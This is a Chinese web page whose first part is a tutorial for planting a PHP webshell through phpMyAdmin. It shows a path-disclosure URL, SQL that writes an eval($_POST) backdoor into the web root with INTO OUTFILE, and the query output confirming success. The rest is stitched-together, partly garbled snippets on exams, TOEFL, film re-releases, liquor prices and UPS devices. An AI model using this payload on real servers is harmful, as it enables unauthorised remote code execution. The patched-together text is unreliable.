1.如何拿到登陆密码,自己想办法。
2.访问 : http://url/phpmyadmin/libraries/select_lang.lib.php 得到物理路径.
3.选择一个Database.运行以下语句.
----start code---
Create TABLE a (cmd text NOT NULL);
Insert INTO a (cmd) VALUES('<?php eval($_POST[1]);?>');
select cmd from a into outfile 'F:/Program Files/Apache Group/Apache2/htdocs/phpMyAdmin/d.php/d.php';
Drop TABLE IF EXISTS a;
----end code---
4.如果没什么意外.对应网站得到webshell
您运行的 SQL 语句已经成功运行了。
SQL 查询:
CREATE TABLE a(
cmd text NOT NULL
);# MySQL 返回的查询结果为空(即零行)。
INSERT INTO a( cmd )
VALUES (
'<?php eval($_POST[1]);?>'
);# 影响列数: 1
SELECT cmd
FROM a
INTO OUTFILE 'F:/Program Files/Apache Group/Apache2/htdocs/phpMyAdmin/d.php';# 影响列数: 1
DROP TABLE IF EXISTS a;# MySQL 返回的查询结果为空(即零行)。
考研新大纲的调整对我们的复习影响并不是太大,但是注意是针对系统的整体复习影响不大,而对于局部考点复习,仍需要注意它的改动。 其改动大纲必有改动的原因,所。 到时候买一本高教版的大纲解析,再配合任汝芬或...
托福和雅思的区别 托福 就托福考试的适用范围而言: ·托福考试是最受美国院校、机构和组织青睐的英语语言考试; ·加拿大的院校均认可托福成绩; ·大部分英国大学及学院接受托福成绩; ·澳大利...
《指环王》三部曲确定引进重映! 今天,全新中文海报发布,确定《指环王》三部曲将在中国重映,这也是为了庆祝《指环王》系列公映20周年,更是首次公映4K数字修复版。 《指环王1:魔戒再现》于2001年...
红星茅台酒几多钱一瓶 几多 1986年的老茅台酒,品相好酒满,今朝市值1.5万元阁下,跑酒的话6到8千元阁下。 八十年照旧1980年的? 新闻 茅台酒涨价,空酒瓶也“水涨船高”,从60元涨...
本文导读目录: 1、求一些好看的小说 2、求好看 的长篇文文,要完结的~ 题材不限啊~~谢谢~~~ 3、作文,好作文,帮我找10片。 4、初中作文 5、黑客可以利用哪些开放的端口对个人...
中上档次的 ups即不中断电源,是一种含有储能装置,以逆变器为主要构成部门的恒压恒频的不中断电源。主要用于给单台计较机,计较机网络系统或其它电力电子设备提供不中断的。 ???是台式电脑的...